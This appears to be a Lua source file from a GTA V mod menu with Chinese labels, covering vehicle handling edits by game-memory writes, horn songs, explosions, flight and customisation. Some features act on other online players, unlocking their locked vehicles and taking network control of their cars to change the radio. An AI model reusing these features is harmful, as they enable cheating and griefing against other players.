rapid_khanjali = GTLP(carweaponfun, "TM-02 可汉贾利武器快速射击", {}, "快速切换武器", function()
    tm02fastshot()
end)

local controlSettings = GT(carweaponfun, "设置" , {}, "")

local airstrikePlaneControl = GT(controlSettings, "空袭飞机", {}, "")

for name, control in pairs(Imputs_vehweapon) do
	local keyboard, controller = control[1]:match('^(.+)%s?;%s?(.+)$')
	local strg = ("%s: %s, %s: %s"):format(trans_plane.Keyboard, keyboard, trans_plane.Controller, controller)
	menu.action(airstrikePlaneControl, strg, {}, "", function()
        Config.controls.airstrikeaircraft = control[2]
        util.show_corner_help(trans_plane.AirstrikeAircraft:format(name))
	end)
end

local vehicleWeaponsControl <const> = GT(controlSettings, "载具武器", {}, "")
for name, control in pairs(Imputs_vehweapon) do
	local keyboard, controller = control[1]:match('^(.+)%s?;%s?(.+)$')
	local strg = ("%s: %s, %s: %s"):format(trans_plane.Keyboard, keyboard, trans_plane.Controller, controller)
	menu.action(vehicleWeaponsControl, strg, {}, "", function()
        Config.controls.vehicleweapons = control[2]
    util.show_corner_help(trans_plane.VehicleWeapons:format(name))
	end)
end

local ufoSettings = GT(controlSettings, "UFO", {}, "")

GTTG(ufoSettings, "禁用玩家框", {}, "", function(toggle)
	Config.ufo.disableboxes = toggle
end, Config.ufo.disableboxes)

GTTG(ufoSettings, "仅针对玩家车辆", {}, "使牵引光束忽略非玩家驾驶的载具", function(toggle)
	Config.ufo.targetplayer = toggle
end, Config.ufo.targetplayer)

local unlockplayerveh = GT(carfly, "解锁载具", {}, "", function(); end)

GTLP(unlockplayerveh, "载具引擎快速开启", {}, "减少载具启动引擎时间", function()
    fastoncar()
end)

GTLP(unlockplayerveh, "解锁正在进入的载具", {}, "解锁已锁住的载具,对于锁住的玩家载具同样有效", function()
    unlockcar()
end)


HandlingData =
{
	reference = 0,
	name = "",
	address = NULL,
	visible = true,
	offsets = {},
	open = false,
}
HandlingData.__index = HandlingData


HandlingData.new = function (parent, name, address, offsets)
	local self = setmetatable({address = address, name = name, offsets = offsets}, HandlingData)
	self.reference = menu.list(parent, name, {}, "", function()
		self.open = true
	end, function()
		self.open = false
	end)

	GTD(self.reference, name)
	for _, tbl in ipairs(offsets) do self:addOption(self.reference, tbl[1], tbl[2]) end
	return self
end

HandlingData.addOption = function(self, parent, name, offset)
	local value = memory.read_float(self.address + offset) * 100

	menu.slider_float(parent, name, {name}, "", -1e6, 1e6, math.floor(value), 1, function(new)
		memory.write_float(self.address + offset, new / 100)
	end)
end


HandlingData.Remove = function(self)
	menu.delete(self.reference)
end


function HandlingData:get()
	local r = {}

	for _, tbl in ipairs(self.offsets) do
		local value = memory.read_float(self.address + tbl[2])
		r[tbl[1]] = round(value, 3)
	end

	return r
end


function HandlingData:set(values)
	local count = 0

	for _, tbl in ipairs(self.offsets) do
		local value = values[tbl[1]]

		if not value then
			goto label_continue
		end

		memory.write_float(self.address + tbl[2], value)
		count = count + 1

	::label_continue::
	end
end


VehicleList = {selected = 0, root = 0, name = "", onClick = nil}
VehicleList.__index = VehicleList

function VehicleList.new(parent, name, onClick)
	local self = setmetatable({name = name, onClick = onClick}, VehicleList)
	self.root = GT(parent, name, {}, "")

	local classLists = {}
	for _, vehicle in ipairs(util.get_vehicles()) do
		local nameHash = util.joaat(vehicle.name)
		local class = VEHICLE.GET_VEHICLE_CLASS_FROM_NAME(nameHash)

		if not classLists[class] then
			classLists[class] = GT(self.root, util.get_label_text("VEH_CLASS_" .. class), {}, "")
		end

		local menuName = util.get_label_text(vehicle.name)
		if menuName == "NULL" then
			goto label_coninue
		end

		GTAC(classLists[class], util.get_label_text(vehicle.name), {}, "", function()
			self:setSelected(nameHash, vehicle.name)
			GTluaScript.focus(self.root)
		end)
	::label_coninue::
	end

	return self
end

function VehicleList:setSelected(nameHash, vehicleName)
	if not vehicleName then
		vehicleName = VEHICLE.GET_DISPLAY_NAME_FROM_VEHICLE_MODEL(nameHash)
	end
	GTluaScript.set_menu_name(self.root, self.name .. ": " .. util.get_label_text(vehicleName))
	self.selected = nameHash
	if self.onClick then self.onClick(nameHash) end
end


local handlingTrans <const> =
{
	SetVehicle = "设置车辆",
	CurrentVehicle = "当前车辆",
	SaveHandling = "保存操控数据",
	SavedFiles = "已保存的文件",
	Load = "加载",
	Delete = "删除",
	Autoload = "自动加载",
	Saved = "操控数据保存",
	Loaded = "数据文件成功加载",
	WillAutoload = "文件 '%s' 将被自动加载",
	HandlingEditor = "操控编辑器",
	AutoloadedFiles = "自动加载的文件",
	ClickToDelete = "点击删除",
	SavedHelp = "为所选车型保存的数据文件"
}


AutoloadList = {reference = 0, options = {}}
AutoloadList.__index = AutoloadList

function AutoloadList.new(parent, name)
	local self = setmetatable({options = {}}, AutoloadList)

	self.reference = GT(parent, name, {}, "")
	return self
end

function AutoloadList:push(vehLabel, file)
	local vehName = util.get_label_text(vehLabel)

	if self.options[vehName] then
		GTluaScript.delete(self.options[vehName])
	end

	self.options[vehName] = GTAC(self.reference, string.format("%s: %s", vehName, file), {}, handlingTrans.ClickToDelete, function()
		Config.handlingAutoload[vehLabel] = nil
		GTluaScript.delete(self.options[vehName])
	end)
end


HandlingEditor =
{
	references = {root = 0, meta = 0},
	handlingData = nil,
	subHandlings = {},
	currentVehicle = 0,
	open = false,
	---@type FileList
	filesList = nil,
	---@type AutoloadList
	autoloads = nil
}
HandlingEditor.__index = HandlingEditor


function HandlingEditor.new(parent, name)
	local self = setmetatable({subHandlings = {}, references = {}}, HandlingEditor)
	self.references.root = menu.list(parent, name, {}, "", function()
		self.open = true
	end, function() self.open = false end)


	local vehList = VehicleList.new(self.references.root, handlingTrans.SetVehicle, function (vehicle)
		self:SetCurrentVehicle(vehicle)
	end)


	menu.action(self.references.root, handlingTrans.CurrentVehicle, {}, "", function ()
		local vehicle = entities.get_user_vehicle_as_handle()
		if vehicle ~= 0 then vehList:setSelected(ENTITY.GET_ENTITY_MODEL(vehicle)) end
	end)


	self.references.meta = menu.list(self.references.root, "文件", {}, "")

	menu.action(self.references.meta, handlingTrans.SaveHandling, {}, "", function()
		local ok, msg = self:save()
		if not ok then
			return notification123:help(capitalize(msg), HudColour.red)
		end
		notification123:normal(handlingTrans.Saved, HudColour.blue)
	end)


	local fileOpts <const> =
	{
		handlingTrans.Load,
		handlingTrans.Autoload,
		handlingTrans.Delete,
	}

	self.filesList = FileList.new(self.references.meta, handlingTrans.SavedFiles, fileOpts, "", "json", function (opt, fileName, path)
		if  opt == 1 then
			local ok, msg = self:load(path)
			if not ok then
				return notification:help(capitalize(msg), HudColour.red)
			end
			self:SetCurrentVehicle(self.currentVehicle) -- reloading
			notification123:normal(handlingTrans.Loaded, HudColour.blue)

		elseif opt == 3 then
			os.remove(path)
			self.filesList:reload()

		elseif opt == 2 then
			local name = VEHICLE.GET_DISPLAY_NAME_FROM_VEHICLE_MODEL(self.currentVehicle)
			if name == "CARNOTFOUND" then
				return
			end
			Config.handlingAutoload[name] = fileName
			self.autoloads:push(name, fileName)
			notification123:normal(string.format(handlingTrans.WillAutoload, fileName), HudColour.blue)
		end
	end)

	GTluaScript.set_help_text(self.filesList.reference, handlingTrans.SavedHelp)
	self.autoloads = AutoloadList.new(self.references.meta, handlingTrans.AutoloadedFiles)
	return self
end



---@param hash Hash
function HandlingEditor:SetCurrentVehicle(hash)
	if self.handlingData then self:clear() end
	self.currentVehicle = hash
	local root = self.references.root
	local modelInfo = get_vehicle_model_info(hash)
	if modelInfo == NULL then
		return
	end

	local handlingAddress = get_vehicle_model_handling_data(modelInfo)
	if handlingAddress == NULL then
		return
	end

	self.handlingData = HandlingData.new(root, "CHandlingData", handlingAddress, CHandlingData)
	local subHandlings = get_sub_handling_array(handlingAddress)

	for _, subHandling in ipairs(subHandlings) do
		if subHandling.address == NULL then
			continue
		end
		local name = subHandlingClasses[subHandling.type]
		local offsets = SubHandlingData[name]
		if not self.subHandlings[name] then self.subHandlings[name] = HandlingData.new(root, name, subHandling.address, offsets) end
	end

	local vehicleName = memory.read_string(modelInfo + 0x298)
	self.filesList.dir = filesystem.scripts_dir() .. '\\GTLuaScript\\' .. "handling\\" .. string.lower(vehicleName) .. "\\"
end



function HandlingEditor:clear()
	self.handlingData:Remove()
	for _, h in pairs(self.subHandlings) do h:Remove() end

	self.handlingData = nil
	self.subHandlings = {}
	self.currentVehicle = 0
	self.filesList.dir = ""
end

local customLabels <const> =
{
	EnterFileName = "输入文件名",
	InvalidChar = "无效字符输入，请重试",
	EnterValue = "输入值",
	ValueMustBeNumber = "该值必须是数字，请重试",
	Search = "输入要搜索的类型",
}

for key, text in pairs(customLabels) do
	customLabels[key] = util.register_label(text)
end


function HandlingEditor:save()
	if not self.handlingData then
		return false, "handling data not found"
	end

	local input = ""
	local label = customLabels.EnterFileName

	while true do
		input = get_input_from_screen_keyboard(label, 31, "")
		if input == "" then
			return false, "save canceled"
		end
		if not input:find '[^%w_%.%-]' then break end
		label = customLabels.InvalidChar
		wait(200)
	end

	local data = {}
	data[self.handlingData.name] = self.handlingData:get()

	for _, subHandling in pairs(self.subHandlings) do
		data[subHandling.name] = subHandling:get()
	end

	self.filesList:add(input .. ".json", json.stringify(data, nil, 4))
	return true, nil
end



function HandlingEditor:load(path)
	if not self.handlingData then
		return false, "handling data not found"
	end

	if not filesystem.exists(path) then
		return false, "file does not exist"
	end

	local ok, result = json.parse(path, false)
	if not ok then
		return false, result
	end

	self.handlingData:set(result.CHandlingData)

	for name, subHandling in pairs(self.subHandlings) do
		if result[name] then subHandling:set(result[name]) end
	end

	return true, nil
end


function HandlingEditor:autoload()
	local count = 0

	for vehicle, file in pairs(Config.handlingAutoload) do
		local path =  wiriDir .. "handling\\" .. string.lower(vehicle) .. "\\" .. file .. ".json"
		local modelHash = util.joaat(vehicle)

		self:SetCurrentVehicle(modelHash)
		if  self:load(path) then
			self.autoloads:push(vehicle, file)
			count = count + 1
		end
	end

	if self.handlingData then self:clear() end
	return count
end

g_handlingEditor = HandlingEditor.new(carfly, handlingTrans.HandlingEditor)

local numFilesLoaded = g_handlingEditor:autoload()
util.log("%d 处理加载的文件", numFilesLoaded)

local funfeatures_veh = GT(carfly, '载具玩乐', {}, '')

function get_note(note)
    if type(note) ~= "table" then
        note = {pitch=note}
    end
    if note.length == nil then
        note.length = quarter
    end
    return note
end

function play_note(vehicle, song, note, index)
    note = get_note(note)
    local note_playtime = math.floor(song.beat_length / note.length)
    if note.pitch ~= pause then
        horn_on = true
    end
    wait(note_playtime)
    horn_on = false
    if song.notes[index+1] ~= nil then
        local next_note = get_note(song.notes[index+1])
        if next_note.pitch ~= pause then
            VEHICLE.SET_VEHICLE_MOD(vehicle, MOD_HORN, next_note.pitch)
        end
    end
    wait(song.beat_length - note_playtime)
    end

function play_song(song)
    song.beat_length = math.floor(60000 / song.bpm)
    if not PED.IS_PED_IN_ANY_VEHICLE(PLAYER.PLAYER_PED_ID(), true) then
        util.toast("需要在车内，才能激活歌曲喇叭")
        return
    end
    local vehicle = PED.GET_VEHICLE_PED_IS_IN(PLAYER.PLAYER_PED_ID(), false)
    if vehicle then
        local original_horn = VEHICLE.GET_VEHICLE_MOD(vehicle, MOD_HORN)
        for index, note in pairs(song.notes) do
            play_note(vehicle, song, note, index)
        end
        VEHICLE.SET_VEHICLE_MOD(vehicle, MOD_HORN, original_horn)
    end
end

function deluxomode(veh, ratio)
    native_invoker.begin_call()
    native_invoker.push_arg_int(vehicle)
    native_invoker.push_arg_float(ratio)
    native_invoker.end_call_2(0xD138FA15C9776837)
end

--
GTAC(funfeatures_veh,("驾驶超级铲子"), {}, "", function()
    local pos = players.get_position(players.user())
    local hash = util.joaat("dune4")
    ent_func.request_model(hash)
    local vehicle = VEHICLE.CREATE_VEHICLE(hash, pos.x ,pos.y ,pos.z, 0, true, false, true)
    PED.SET_PED_INTO_VEHICLE(players.user_ped(), vehicle, -1)
    for i = 1, 2 do
        local vehicle_model = ENTITY.GET_ENTITY_MODEL(vehicle)
        local left_vehicle = VEHICLE.CREATE_VEHICLE(vehicle_model, pos.x ,pos.y ,pos.z, ENTITY.GET_ENTITY_HEADING(vehicle), true, false, true)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(left_vehicle, vehicle, 0, -2*i, 0.0, 0.0, 0.0, 0.0, 0.0, true, false, false, false, 0, true)
        local right_vehicle = VEHICLE.CREATE_VEHICLE(vehicle_model, pos.x ,pos.y ,pos.z, ENTITY.GET_ENTITY_HEADING(vehicle), true, false, true)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(right_vehicle, vehicle, 0, 2*i, 0.0, 0.0, 0.0, 0.0, 0.0, true, false, false, false, 0, true)
        ENTITY.SET_ENTITY_COLLISION(left_vehicle, true, true)
        ENTITY.SET_ENTITY_COLLISION(right_vehicle, true, true)
    end
end)

horn_explosions_opt = GTLP(funfeatures_veh,("喇叭炸弹"), {}, "", function()
	if PED.IS_PED_IN_ANY_VEHICLE(players.user_ped(), false) then
	    local vehicle = entities.get_user_vehicle_as_handle(players.user())
	    if AUDIO.IS_HORN_ACTIVE(vehicle) then
            local rand_num = math.random(20, 80)
            local veh_coords_offset = ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(vehicle, 0.0, rand_num, 1)
            FIRE.ADD_EXPLOSION(veh_coords_offset.x, veh_coords_offset.y, veh_coords_offset.z, explosion_type, 1.0, true, false, 0.4, false)
            wait(100)
        end
    else
        util.toast("你必须进入车辆来开启此功能")
        menu.set_value(horn_explosions_opt, false)
    end
end)

GTLP(funfeatures_veh, "载具原地升天", {""}, "按Shift，原地起飞", function()
    local my_cur_car = entities.get_user_vehicle_as_handle()
    if not is_user_driving_vehicle() then return end
    local prevPress = PAD.IS_CONTROL_PRESSED(21, 21)
    if PAD.IS_CONTROL_PRESSED(21, 21) then
        local mySpeed = ENTITY.GET_ENTITY_SPEED(my_cur_car)
        ENTITY.APPLY_FORCE_TO_ENTITY_CENTER_OF_MASS(my_cur_car, 1, 0, 2, (mySpeed / 10) + 5, 0, true, true, true)
        AUDIO.PLAY_SOUND_FROM_ENTITY(-1, 'Hydraulics_Down', players.user_ped(), 'Lowrider_Super_Mod_Garage_Sounds', true, 20)
    end
end)

GTAC(funfeatures_veh, "生成加速带", {}, "", function() 
    local coords = players.get_position(players.user())
    coords.z = coords.z - 0.2
    local player = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user())
    local heading = ENTITY.GET_ENTITY_HEADING(player)
    local heading = heading + 80
    local boostpad = entities.create_object(3287988974, coords)
    ENTITY.SET_ENTITY_HEADING(boostpad, heading)
end)

local rotation_speed = 50
GTLuaScript.slider(funfeatures_veh,("空中漂移速度"), {"flydriftspeed"} , "", 50, 1000, 50, 50, function(value)
    rotation_speed = value
end)
local vehflyt = require "lib.GTSCRIPTS.GTA.vehflyt"
local vehicle_rotation = nil
set_vehicle_to_cam_rot = GTLP(funfeatures_veh,("载具空中漂移"), {}, "鼠标控制方向", function()
    if PED.IS_PED_IN_ANY_VEHICLE(players.user_ped(), false) then
        local veh = entities.get_user_vehicle_as_handle(false)
        local height = ENTITY.GET_ENTITY_HEIGHT_ABOVE_GROUND(veh)
        if height >= 2.0 and not ENTITY.IS_ENTITY_IN_WATER(veh) then
            local cam_rot = CAM.GET_GAMEPLAY_CAM_ROT(0)
            local desired_rotation = vehflyt.from_euler(cam_rot.x, cam_rot.y, cam_rot.z)
            if vehicle_rotation == nil then
                vehicle_rotation = desired_rotation
            else
                vehicle_rotation = slerp(vehicle_rotation, desired_rotation, rotation_speed/1000)
                ENTITY.SET_ENTITY_QUATERNION(veh, vehicle_rotation.x, vehicle_rotation.y, vehicle_rotation.z, vehicle_rotation.w)
            end
        end
    else
        vehicle_rotation = nil
        gtoast("你不在车里")
        menu.set_value(set_vehicle_to_cam_rot, false)
    end
end)

for _, song in pairs(songs) do
    GTAC(funfeatures_veh, "播放 "..song.name, {}, "车辆按喇叭播放歌曲", function()
        play_song(song)
    end)
end

util.create_tick_handler(function()
    if horn_on then
        PAD._SET_CONTROL_NORMAL(0, 86, 1)
    end
    return true
end)

    radio = GT(funfeatures_veh, "更换广播电台", {}, "")
    stations = {}
    for station, name in pairs(station_name) do
        stations[#stations + 1] = station
    end
    GTLuaScript.list_action(radio, "广播电台", {}, "", stations, function(index, value)
        ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        pos = players.get_position(players.user())
        player_veh = PED.GET_VEHICLE_PED_IS_IN(ped)

        if not PED.IS_PED_IN_VEHICLE(ped, player_veh, false) then
            util.toast("玩家不在载具中. :/")
        return end
        radio_name = station_name[value]
        if PED.IS_PED_IN_ANY_VEHICLE(ped, false) then 

            if not VEHICLE.ARE_ANY_VEHICLE_SEATS_FREE(player_veh) then
                util.toast("未能成功更换玩家电台. :/")
            return end

            NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(player_veh)
            if not PED.IS_PED_IN_VEHICLE(players.user_ped(), player_veh, false) then
                ENTITY.SET_ENTITY_VISIBLE(players.user_ped(), false)
                menu.trigger_commands("tpveh" .. players.get_name(pid))
                wait(250)
                AUDIO.SET_VEH_RADIO_STATION(player_veh, radio_name)
                wait(750)
                ENTITY.SET_ENTITY_COORDS_NO_OFFSET(players.user_ped(), pos, false, false, false)
            else
                wait(250)
                AUDIO.SET_VEH_RADIO_STATION(player_veh, radio_name)
            end
        end
    end)

function get_vehicle_dimension(vehicle)
    local minimum = memory.alloc()
    local maximum = memory.alloc()
    MISC.GET_MODEL_DIMENSIONS(ENTITY.GET_ENTITY_MODEL(vehicle), minimum, maximum)
    local minimum_vec = v3.new(minimum)
    local maximum_vec = v3.new(maximum)
    return {x = maximum_vec.y - minimum_vec.y, y = maximum_vec.x - minimum_vec.x, z = maximum_vec.z - minimum_vec.z}
end

function set_attachment_offset_for_root(attachment)
    local root_model = util.reverse_joaat(ENTITY.GET_ENTITY_MODEL(attachment.root))
    local dimensions = get_vehicle_dimension(attachment.handle)

    if root_model == "wastelander" then
        attachment.offset = {
            x=0,
            y=(dimensions.y / 2) - 2,
            z=(dimensions.z / 2) + 0.8
        }
    end

    if root_model == "slamtruck" then
        attachment.offset = {
            x=0,
            y=(dimensions.y / 2) - 3,
            z=(dimensions.z / 2) + 0.3
        }
        attachment.rotation = {
            x=8,
            y=0,
            z=0,
        }
    end

end

function update_attachment_position(attachment)
    if attachment.offset == nil then
        attachment.offset = {x=0,y=0,z=0}
    end
    if attachment.rotation == nil then
        attachment.rotation = {x=0,y=0,z=0}
    end
    if attachment.collision == nil then
        attachment.collision = true
    end
    ENTITY.ATTACH_ENTITY_TO_ENTITY(
        attachment.handle, attachment.root, attachment.bone_index or 0,
        attachment.offset.x or 0, attachment.offset.y or 0, attachment.offset.z or 0,
        attachment.rotation.x or 0, attachment.rotation.y or 0, attachment.rotation.z or 0,
        false, true, attachment.collision, false, 2, true
    )
end

function attach(attachment)
    attachment.position = ENTITY.GET_ENTITY_COORDS(attachment.root)
    ENTITY.SET_ENTITY_HAS_GRAVITY(attachment.handle, false)
    set_attachment_offset_for_root(attachment)
    update_attachment_position(attachment)

    ENTITY.SET_ENTITY_NO_COLLISION_ENTITY(attachment.root, attachment.handle)

    return attachment
end

function detach_attached_vehicle()
    if state.attached_vehicle ~= nil then
        util.toast("已分离")
        ENTITY.DETACH_ENTITY(state.attached_vehicle.handle, true, true)
        state.attached_vehicle = nil
    end
end

function attach_nearest_vehicle()
    local player_vehicle = entities.get_user_vehicle_as_handle()
    if not player_vehicle then
        util.toast("你必须在一辆车里")
        return
    end
    local pos = ENTITY.GET_ENTITY_COORDS(player_vehicle, 1)
    local range = 10
    local nearby_vehicles = entities.get_all_vehicles_as_handles()
    local count = 0
    for _, vehicle_handle in ipairs(nearby_vehicles) do
        if vehicle_handle ~= player_vehicle then
            local attachment = {handle=vehicle_handle, root=player_vehicle}
            attachment.position = ENTITY.GET_ENTITY_COORDS(attachment.handle, 1)
            attachment.distance = SYSTEM.VDIST(pos.x, pos.y, pos.z, attachment.position.x, attachment.position.y, attachment.position.z)
            if attachment.distance <= range then
                --detach_attached_vehicle()
                attachment.name = VEHICLE.GET_DISPLAY_NAME_FROM_VEHICLE_MODEL(ENTITY.GET_ENTITY_MODEL(attachment.handle))
                util.toast("连接 "..attachment.name)
                attach(attachment)
                --state.attached_vehicle = attachment
                return
            end
        end
    end
end

tuochea = GT(funfeatures_veh, "拖车", {}, "", function();end)

GTAC(tuochea, "MTL 拓荒者", {}, "生产一辆MTL 拓荒者", function()
    menu.trigger_commands("wastelander")
end)
GTAC(tuochea, "威皮 大满贯卡车", {}, "生成一辆威皮 大满贯卡车", function()
    menu.trigger_commands("slamtruck")
end)

GTAC(tuochea, "连接", {}, "任何接近的车辆都将连接到您当前的车辆", function()
    attach_nearest_vehicle()
end)

--[[GTAC(tuochea, "分离", {}, "", function()
    detach_attached_vehicle()
end)]]

aircrafthud = GT(funfeatures_veh, "飞机信息显示", {}, "", function();end)

feijihud = GTAC(aircrafthud,"加载飞机信息显示",{"loadF"},"",function()
    notification("正在加载飞机信息显示,请稍等")
    wait(1500)
    require("lib/GTSCRIPTS/F")
    menu.delete(feijihud)
end)

dow_block = 0
driveonwater = false
local ls_driveonwater = GTTG(funfeatures_veh, "水上驾驶", {"driveonwater"}, "", function(on)
    driveonwater = on
    if on then
        if driveonair then
            menu.set_value(ls_driveonair, false)
            notification("已自动关闭,以防止出现问题。", colors.blue)
        end
    else
        if not driveonair and not walkonwater then
            ENTITY.SET_ENTITY_COORDS_NO_OFFSET(dow_block, 0, 0, 0, false, false, false)
        end
    end
end)

doa_ht = 0
driveonair = false
ls_driveonair = GTTG(funfeatures_veh, "空中驾驶", {"driveonair"}, "", function(on)
    driveonair = on
    if on then
        local pos = players.get_position(players.user())
        doa_ht = pos['z']
        notification("使用空格键和ctrl键微调驾驶高度!", colors.blue)
        if driveonwater then
            menu.set_value(ls_driveonwater, false)
            notification("水上驾驶已自动关闭,以防止出现问题。", colors.blue)
        end
    end
end)

	GTAC(funfeatures_veh, '左侧翻', {}, '', function()
		local vehicle = get_vehicle_player_is_in(pId)
		if WIRI_ENTITY.DOES_ENTITY_EXIST(vehicle) and WIRI_VEHICLE.IS_VEHICLE_ON_ALL_WHEELS(vehicle) and
		request_control(vehicle, 1000) then
			WIRI_ENTITY.APPLY_FORCE_TO_ENTITY(vehicle, 1, 0.0, 0.0, 10.71, 5.0, 0.0, 0.0, 1, false, true, true, true, true)
		end
	end)

	GTAC(funfeatures_veh, '右侧翻', {}, '', function()
		local vehicle = get_vehicle_player_is_in(pId)
		if WIRI_ENTITY.DOES_ENTITY_EXIST(vehicle) and WIRI_VEHICLE.IS_VEHICLE_ON_ALL_WHEELS(vehicle) and
		request_control(vehicle, 1000) then
			WIRI_ENTITY.APPLY_FORCE_TO_ENTITY(vehicle, 1, 0.0, 0.0, 10.71, -5.0, 0.0, 0.0, 1, false, true, true, true, true)
		end
	end)

    GTAC(funfeatures_veh, '双左侧翻', {}, '', function()
		local vehicle = get_vehicle_player_is_in(pId)
		if WIRI_ENTITY.DOES_ENTITY_EXIST(vehicle) and WIRI_VEHICLE.IS_VEHICLE_ON_ALL_WHEELS(vehicle) and
		request_control(vehicle, 1000) then
			WIRI_ENTITY.APPLY_FORCE_TO_ENTITY(vehicle, 1, 0.0, 0.0, 21.43, 20.0, 0.0, 0.0, 1, false, true, true, true, true)
		end
	end)

plscm = menu.list(carfly, T('Los Santos Customs'), {}, '')

pbodym = menu.list(plscm, T('Body Modifications'), {}, T('Only shows what is available to be changed. If they get in a new vehicle back out of Body Modifications to refresh options'))

plighm = menu.list(plscm, T('Lights'), {}, '')

pcolm  = menu.list(plscm, T('Vehicle Colors'), {}, '')

pwmenu = menu.list(plscm, T('Wheels'), {}, '')

pwinmenu = GT(carfly, '控制车窗', {}, '')

local speedometer_plate_root = GT(nfs_cs, "仪表盘设置", {}, "")

local jesus_main = GT(carfly, "自动驾驶", {}, "")

local chauffeur_root = GT(carfly, "司机服务", {}, "呼叫您的私人司机")

local vehicle_fly = GT(carfly, "载具飞行", {}, "")

local rgbvm = GT(carfly, '彩虹载具', {}, '')

vehmenu = {}
menu.on_focus(pbodym, function ()
    for vehmenu as m do
        menu.delete(m)
    end
    vehmenu = {}
    if not players.exists(players.user()) then
        util.stop_thread()
    end
    local pedm = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user())
    local vmod = PED.GET_VEHICLE_PED_IS_IN(pedm, false)
    if PED.IS_PED_IN_ANY_VEHICLE(pedm, false) then
        for Vehopts as v do
            local current = VEHICLE.GET_VEHICLE_MOD(vmod, v[1] -1)
            local maxmods = Getmodcou(players.user(), v[1] - 1)
            if maxmods > 0 then
                local modnames = v[2]
                local s = menu.slider(pbodym, modnames , {''}, '',  -1, maxmods  , current, 1, function (mod)
                    Changemod(players.user(), v[1] -1, mod)
                end)
              table.insert(vehmenu, s)
            wait()
            end
        end

        for Vehtogs as v do
            local current = VEHICLE.IS_TOGGLE_MOD_ON(vmod, v[1] -1)
            local tognames = v[2]
            local t = GTTG(pbodym, tognames, {''}, '', function (on)
                VEHICLE.TOGGLE_VEHICLE_MOD(vmod, v[1] - 1, on)
              end, current)         
            table.insert(vehmenu, t)
            wait()
        end
    end
end)
colmem = {}
util.create_tick_handler(function ()
    colmem.red = memory.alloc()
    colmem.green = memory.alloc()
    colmem.blue = memory.alloc()
    local vcolor = entities.get_user_vehicle_as_handle()
    VEHICLE.GET_VEHICLE_CUSTOM_PRIMARY_COLOUR(vcolor, colmem.red, colmem.green, colmem.blue)
    colmem.sred = memory.alloc()
    colmem.sgreen = memory.alloc()
    colmem.sblue = memory.alloc()
    VEHICLE.GET_VEHICLE_CUSTOM_SECONDARY_COLOUR(vcolor, colmem.sred, colmem.sgreen, colmem.sblue)
end)

pcolor = {}
prgb = {color= {r = memory.read_int(colmem.red) / 255, g =  memory.read_int(colmem.green) / 255, b = memory.read_int(colmem.blue) / 255, a = 1}}
menus.uservehpai = menu.colour(pcolm, T('Primary Color RGB'), {''}, T('Changes the Primary Color on the Vehicle to RGB'), prgb.color, false, function(prbgc)
    prgb.color = prbgc
    local vcolor = entities.get_user_vehicle_as_handle()
    local red = math.floor(prgb.color.r * 255)
    local green = math.floor(prgb.color.g * 255)
    local blue = math.floor(prgb.color.b * 255)
    VEHICLE.SET_VEHICLE_CUSTOM_PRIMARY_COLOUR(vcolor, red, green, blue)
end)


psrgb = {color= {r = memory.read_int(colmem.sred)/ 255, g =  memory.read_int(colmem.sgreen)/ 255, b = memory.read_int(colmem.sblue) / 255, a = 1}}
menus.uservehspai = menu.colour(pcolm, T('Secondary Color RGB'), {''}, T('Changes the Secondary Color on the Vehicle to RGB'), psrgb.color, false, function(prbgsc)
    psrgb.color = prbgsc
    local vcolor = entities.get_user_vehicle_as_handle()
    local sred = math.floor(psrgb.color.r * 255)
    local sgreen = math.floor(psrgb.color.g * 255)
    local sblue = math.floor(psrgb.color.b * 255)
    VEHICLE.SET_VEHICLE_CUSTOM_SECONDARY_COLOUR(vcolor, sred, sgreen, sblue)
end)

GTLuaScript.list_select(pcolm, T('Primary Color'), {''}, T('Changes the Primary Color on the Vehicle'), Mainc, 1, function (t)
    pcolor.prim = t - 1
    Changecolor(players.user(), pcolor)
end)

GTLuaScript.list_select(pcolm, T('Secondary Color'), {''}, T('Changes the Secondary Color on the Vehicle'), Mainc, 1, function (t)
    pcolor.sec = t - 1
    Changecolor(players.user(), pcolor)
end)

GTLuaScript.list_select(pcolm, T('Pearlescent Color'), {''}, T('Changes the Pearlescent Color on the Vehicle'), Mainc, 1, function (t)
    pcolor.per = t - 1
    Changewhepercolor(players.user(), pcolor)
end)

GTLuaScript.list_select(pcolm, T('Wheel Color'), {''}, T('Changes the Wheel Color on the Vehicle'), Mainc, 1, function (t)
    pcolor.whe = t - 1
    Changewhepercolor(players.user(), pcolor)
end)

GTLuaScript.list_select(pcolm, T('Interior Color'), {''}, T('Changes the Interior Color on the Vehicle'), Mainc, 1, function (t)
    pcolor.int = t - 1
    Changeintcolor(players.user(), pcolor.int)
end)

GTLuaScript.list_select(pcolm, T('Dashboard Color'), {''}, T('Changes the Dashboard Color on the Vehicle'), Mainc, 1, function (t)
    pcolor.das = t - 1
    Changedashcolor(players.user(), pcolor.das)
end)

GTLuaScript.list_select(plighm, T('Neons'), {''}, T('Changes the Neons to different colors'), Mainc, 1, function(c)
    local ncolor = c - 1
    Changeneon(players.user(), ncolor)
end)

GTLuaScript.list_select(plscm, T('Window Tints'), {''}, T('Changes the Tint on the Vehicle'), Til, 1, function (t)
    local tint = t - 1
    Changetint(players.user(), tint)
end)

GTLuaScript.list_select(plighm, T('Headlights'), {''}, T('Changes the Headlights to different colors'), Lighc, 1, function(c)
    local hcolor = c - 1
    Changehead(players.user(), hcolor)
end)

pnrgb = {color= {r= 0, g = 1, b = 0, a = 1}}

menu.action(plighm, T('Change RGB Neons'), {}, T('Change the Color for the Neons to RGB of your choice'), function ()
    local pedm = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user())
    local vmod = PED.GET_VEHICLE_PED_IS_IN(pedm, false)
    RGBNeonKit(pedm)
    local red = math.floor(pnrgb.color.r * 255)
    local green = math.floor(pnrgb.color.g * 255)
    local blue = math.floor(pnrgb.color.b * 255)
    VEHICLE.SET_VEHICLE_NEON_COLOUR(vmod, red, green, blue)
end)

menu.colour(plighm, T('RGB Neon Color'), {'rgbsc'}, T('Choose the Color for the Neons be changed to '), pnrgb.color, false, function(ncolor)
    pnrgb.color = ncolor
end)

GTLuaScript.list_select(pwmenu, T('Bennys Bespoke'), {''}, T('Changes the wheels to Bennys Bespoke wheels'), Bbw, 1, function(w)
    local wheel = w - 1
